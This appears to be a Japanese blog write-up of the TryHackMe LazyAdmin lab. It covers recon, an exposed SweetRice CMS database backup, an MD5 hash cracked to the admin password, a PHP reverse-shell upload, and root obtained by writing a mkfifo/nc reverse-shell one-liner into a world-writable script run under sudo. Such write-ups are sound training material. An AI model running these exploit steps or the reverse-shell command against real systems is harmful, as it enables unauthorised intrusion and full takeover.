Trance Shift 8 - Tech

@skyriserの技術系ネタメモ。とりあえずCTFのWriteup書いていく

Writeup | TryHackMe - LazyAdmin

続いてLazy Admin。

Easy linux machine to practice your skills

ホントにEasyですぅ...?

Recon

rustscan -a 10.10.209.210 -- -A
  • 22: SSH
    • 22/tcp open ssh syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
  • 80: HTTP
    • 80/tcp open http syn-ack Apache httpd 2.4.18 ((Ubuntu))

80番ポート空いてるので見に行く

It worksだ。

ディレクトリ探る

gobuster dir -u http://10.10.209.210/ --wordlist /usr/share/wordlists/dirb/small.txt
...
===============================================================
/content              (Status: 301) [Size: 316] [--> http://10.10.209.210/content/]
Progress: 959 / 960 (99.90%)===============================================================

SweetRice CMSとかいうのが出てきた

SweetRice CMSにログイン

Exploit DBで探す

面白そうなのを見つけた。

You can access to all mysql backup and download them from this directory.
http://localhost/inc/mysql_backup

and can access to website files backup from:
http://localhost/SweetRice-transfer.zip

URL叩くだけでmysqlのbackupが見れるらしい。まじか。

あったわ...

バックアップしてあるSQLがあるので、持ってくる。

  14 => 'INSERT INTO `%--%_options` VALUES(\'....
  5:\\"admin\\";s:7:\\"manager\\";s:
  6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\";s
  ...
  • id: mananger
  • password(hash): 42f749ade7f9e195bf475f37a44cafcb

だと思う。

なんだかよくみるハッシュ。CrackStationによると、MD5Password123

ログイン画面はわからないけど、たまたまExploit DB眺めてた他の脆弱性スクリプトに、

login = r.post('http://' + host + '/as/?type=signin', data=payload)

と書いてあるので、 /as/ がログイン画面っぽい。

ログインできた

リバースシェルが欲しい

Exploit DBによると

この辺が使えそう。書いてある通り、

とりあえずテストで書いてみて
/content/inc/ads/test.php でアクセス出来た

よく見たらCSRFでアップロード出来るって書いてあるから最初の手順要らなかったかも。

phpinfo();

に変更してリバースシェルを作って、PHP側へアクセス。

┌──(kali㉿kali)-[~]
└─$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.6.0.155] from (UNKNOWN) [10.10.209.210] 53670
Linux THM-Chal 4.15.0-70-generic #79~16.04.1-Ubuntu SMP Tue Nov 12 11:54:29 UTC 2019 i686 i686 i686 GNU/Linux
 12:45:11 up  1:05,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
$ whoami
www-data

User flag

$ ls /home
itguy
$ ls /home/itguy
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
backup.pl
examples.desktop
mysql_login.txt
user.txt

=> cat user.txt

Root flag

まずは sudo チェック。

$ sudo -l
Matching Defaults entries for www-data on THM-Chal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on THM-Chal:
    (ALL) NOPASSWD: /usr/bin/perl /home/itguy/backup.pl

一発。特定のコマンドだけperlが実行出来る。

$ cat /home/itguy/backup.pl
#!/usr/bin/perl

system("sh", "/etc/copy.sh");
 ls -la /home/itguy/backup.pl
-rw-r--r-x 1 root root 47 Nov 29  2019 /home/itguy/backup.pl
$ ls -la /etc/copy.sh
-rw-r--rwx 1 root root 81 Nov 29  2019 /etc/copy.sh

なぜかcopy.shは編集出来るようになってる 別のリバースシェル立てておいて、copy.shの中身を

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.6.0.155 7777 >/tmp/f

として、実行

sudo /usr/bin/perl /home/itguy/backup.pl
# ls /root/
root.txt
# whoami
root

=> cat /root/root.txt